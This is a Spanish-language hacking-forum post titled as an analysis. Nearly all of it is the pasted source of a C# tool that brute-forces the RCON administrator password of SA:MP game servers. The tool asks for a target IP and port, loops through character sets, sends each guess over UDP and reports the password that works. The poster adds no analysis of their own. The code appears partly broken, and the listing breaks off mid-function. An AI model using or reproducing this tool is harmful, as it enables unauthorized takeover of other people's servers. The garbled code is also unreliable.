elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!


+  Foro de elhacker.net
|-+  Foros Generales
| |-+  Dudas Generales (Moderador: engel lex)
| | |-+  Analisis de RCON-Bruter
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Analisis de RCON-Bruter  (Leído 106 veces)
Nolohagan

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Analisis de RCON-Bruter
« en: 1 Marzo 2017, 11:31 »

Hola,


observemos este codigo por favor:

[code]Hola seth,

bueno. Quiero hacer paso por paso. Se trata de un algoritmo.

Pero antes observemos este codigo por favor:

[code]
//////RCON-Bruter by JokeR, writed in C#, Visual C# 2010 Express
//Thanks to SA:MP Wiki for class to send rcon command
//Usage: rcon_bruter [ip] [port]
//Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]

//init
//#define ARGS
using System;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using System.IO;
using System.Net;
using System.Net.Sockets;

//class from sa-mp wiki
namespace Query
{
    class RCONQuery
    {
        Socket qSocket;
        IPAddress address;
        int _port = 0;
        string _password = null;

        string[] results = new string[50];
        int _count = 0;

        public RCONQuery(string IP, int port, string password)
        {
            qSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

            qSocket.SendTimeout = 1;
            qSocket.ReceiveTimeout = 1;

            try
            {
                address = Dns.GetHostAddresses(IP)[0];
            }

            catch
            {

            }

            _port = port;
            _password = password;
        }

        public bool Send(string command)
        {
            try
            {
                IPEndPoint endpoint = new IPEndPoint(address, _port);

                using (MemoryStream stream = new MemoryStream())
                {
                    using (BinaryWriter writer = new BinaryWriter(stream))
                    {
                        writer.Write("SAMP".ToCharArray());

                        string[] SplitIP = address.ToString().Split('.');

                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[0])));
                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[1])));
                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[2])));
                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[3])));

                        writer.Write((ushort)_port);

                        writer.Write('x');

                        writer.Write((ushort)_password.Length);
                        writer.Write(_password.ToCharArray());

                        writer.Write((ushort)command.Length);
                        writer.Write(command.ToCharArray());
                    }

                    if (qSocket.SendTo(stream.ToArray(), endpoint) > 0)
                        return true;
                }
            }

            catch
            {
                return false;
            }

            return false;
        }

        public int Recieve()
        {
            try
            {
                _count = 0;

                EndPoint endpoint = new IPEndPoint(address, _port);

                byte[] rBuffer = new byte[50];

                int count = qSocket.ReceiveFrom(rBuffer, ref endpoint);

                _count = count;

            }

            catch
            {
                return _count;
            }

            return _count;
        }
    }
}

namespace MainFunc
{
    class Program
    {
        #region Private variables

        private static string result;

        private static bool isMatched = false;

        private static int charactersToTestLength = 0;
        private static long computedKeys = 0;

        /*private static char[] charactersToTest =
         {
            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
            'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
            '6','7','8','9','0','!','$','#','@','-','*','&','^',
            '%','~','`','[',']','|','/','"',':',';',':','?','>',
            ',','.','(',')','_','-','+','=','\\'
        };*/

        /*private static char[] charactersToTest =
         {
            '1','2','3','4','5',
            '6','7','8','9','0',
        };*/

        #endregion

        static void Main(string[] args)
        {
            //print welcome informations
            Console.WriteLine("RCON Bruter by JokeR for SA:MP, ver 0.1d-3");
            Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]");
            Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3");
            Console.WriteLine("");
            #if (ARGS)
                if (args.Length == 0)
                {
                    Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]");
                    Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
                    Environment.Exit(1);
                }
            #endif


            #if (ARGS)
                string ip = args[0];
                int port = Int32.Parse(args[1]);
                int charset = Int32.Parse(args[2]);
            #else
                Console.WriteLine("Enter target IP/HostName: ");
                string ip = Console.ReadLine();
                Console.WriteLine("Enter target port: ");
                int port = Int32.Parse(Console.ReadLine());
                Console.WriteLine("Select charset type: ");
                Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
                int charset = Int32.Parse(Console.ReadLine());
                Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ");
                int count = Int32.Parse(Console.ReadLine());
            #endif


            if (charset == 1) //all chars
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
                    ',','.','(',')','_','-','+','=','\\'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count-1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 2) //numbers
            {
                char[] charactersToTest =
                {
                    '1','2','3','4','5','6','7','8','9','0'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 3) //letters
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z',
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 4) //special
            {
                char[] charactersToTest =
                {
                    '!','$','#','@','-','*','&','^',
                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
                    ',','.','(',')','_','-','+','=','\\'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 5) //numbers&letters
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
                    '6','7','8','9','0'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 6) //letters&special
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
                    ':','?','>',',','.','(',')','_','-','+','=','\\'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
            if (charset == 7) //numbers&special
            {
                char[] charactersToTest =
                {
                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
                };
                //start bruter
                var timeStarted = DateTime.Now;
                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);

                charactersToTestLength = charactersToTest.Length;

                var estimatedPasswordLength = count - 1;

                while (!isMatched)
                {
                    estimatedPasswordLength++;
                    startBruteForce(estimatedPasswordLength, ip, port, charset);
                }

                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
                Console.WriteLine("Resolved password: {0}", result);
                Console.WriteLine("Computed keys: {0}", computedKeys);
                Console.ReadLine();
            }
        }

        #region Private methods

        private static void startBruteForce(int keyLength, string ip, int port, int charset)
        {
            if (charset == 1) //all chars
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
                    ',','.','(',')','_','-','+','=','\\'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port,charset);
            }
            if (charset == 2) //numbers
            {
                char[] charactersToTest =
                {
                    '1','2','3','4','5','6','7','8','9','0'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
            if (charset == 3) //letters
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z',
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
            if (charset == 4) //special
            {
                char[] charactersToTest =
                {
                    '!','$','#','@','-','*','&','^',
                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
                    ',','.','(',')','_','-','+','=','\\'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
            if (charset == 5) //numbers&letters
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
                    '6','7','8','9','0'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
            if (charset == 6) //letters&special
            {
                char[] charactersToTest =
                {
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
                    ':','?','>',',','.','(',')','_','-','+','=','\\'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
            if (charset == 7) //numbers&special
            {
                char[] charactersToTest =
                {
                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
                };
                var keyChars = createCharArray(keyLength, charactersToTest[0]);
                var indexOfLastChar = keyLength - 1;
                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
            }
        }

        private static char[] createCharArray(int length, char defaultChar)
        {
            return (from c in new char[length] select defaultChar).ToArray();
        }

        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string ip, int port, int charset)
        {
            if (!isMatched)
            {
                var nextCharPosition = currentCharPosition + 1;
                for (int i = 0; i < charactersToTestLength; i++)
                {
                    if (charset == 1) //all chars
                    {
                        char[] charactersToTest =
                        {
                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                            'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
                            '6','7','8','9','0','!','$','#','@','-','*','&','^',
                            '%','~','`','[',']','|','/','"',':',';',':','?','>',
                            ',','.','(',')','_','-','+','=','\\'
                        };
                        keyChars[currentCharPosition] = charactersToTest;
                        if (currentCharPosition < indexOfLastChar)
                        {
                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
                        }
                        else
                        {
                            computedKeys++;
                            //check rcon
                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
                            Console.Write("Checking rcon password: ");
                            Console.Write(new String(keyChars));
                            Console.WriteLine("");
                            if (!sQuery.Send("echo test"))
                            {
                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
                                Environment.Exit(2);
                            }
                            int count = sQuery.Recieve();
                            if (count == 17)
                            {
                                if (!isMatched)
                                {
                                    isMatched = true;
                                    result = new String(keyChars);
                                    Console.WriteLine("*** Success! received package: 17! ***");
                                    Console.WriteLine("");
                                }
                                return;
                            }
                            if (count == 35)
                            {
                                Console.WriteLine("Failed, received package: 35");
                            }
                        }
                    }
                    if (charset == 2) //numbers
                    {
                        char[] charactersToTest =
                        {   
                            '1','2','3','4','5','6','7','8','9','0'
                        };
                        keyChars[currentCharPosition] = charactersToTest;
                        if (currentCharPosition < indexOfLastChar)
                        {
                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
                        }
                        else
                        {
                            computedKeys++;
                            //check rcon
                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
                            Console.Write("Checking rcon password: ");
                            Console.Write(new String(keyChars));
                            Console.WriteLine("");
                            if (!sQuery.Send("echo test"))
                            {
                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
                                Environment.Exit(2);
                            }
                            int count = sQuery.Recieve();
                            if (count == 17)
                            {
                                if (!isMatched)
                                {
                                    isMatched = true;
                                    result = new String(keyChars);
                                    Console.WriteLine("*** Success! received package: 17! ***");
                                    Console.WriteLine("");
                                }
                                return;
                            }
                            if (count == 35)
                            {
                                Console.WriteLine("Failed, received package: 35");
                            }
                        }
                    }
                    if (charset == 3) //letters
                    {
                        char[] charactersToTest =
                        {
                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
                            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
                            'S','T','U','V','W','X','Y','Z',
                        };
                        keyChars[currentCharPosition] = charactersToTest;
                        if (currentCharPosition < indexOfLastChar)
                        {
                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
                        }
                        else
                        {
                            computedKeys++;
                            //check rcon
                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
                            Console.Write("Checking rcon password: ");
                            Console.Write(new String(keyChars));
                            Console.WriteLine("");
                            if (!sQuery.Send("echo test"))


« Última modificación: 1 Marzo 2017, 11:33 por Nolohagan » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Análisis de frecuencia [APP]
Criptografía
19.5 4 5,890 Último mensaje 4 Mayo 2008, 15:09
por skan
Análisis de malware
Seguridad
leming 2 2,458 Último mensaje 31 Marzo 2008, 15:00
por leming
RCON de CS 1.6
Juegos y Consolas
Odyssea 5 45,727 Último mensaje 28 Julio 2008, 00:41
por Odyssea
comando de la rcon
Dudas Generales
batukero 6 3,717 Último mensaje 26 Octubre 2010, 23:05
por batukero
Source Halo Rcon Force Brute.
ASM
fary 0 1,017 Último mensaje 6 Octubre 2012, 12:09
por fary
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines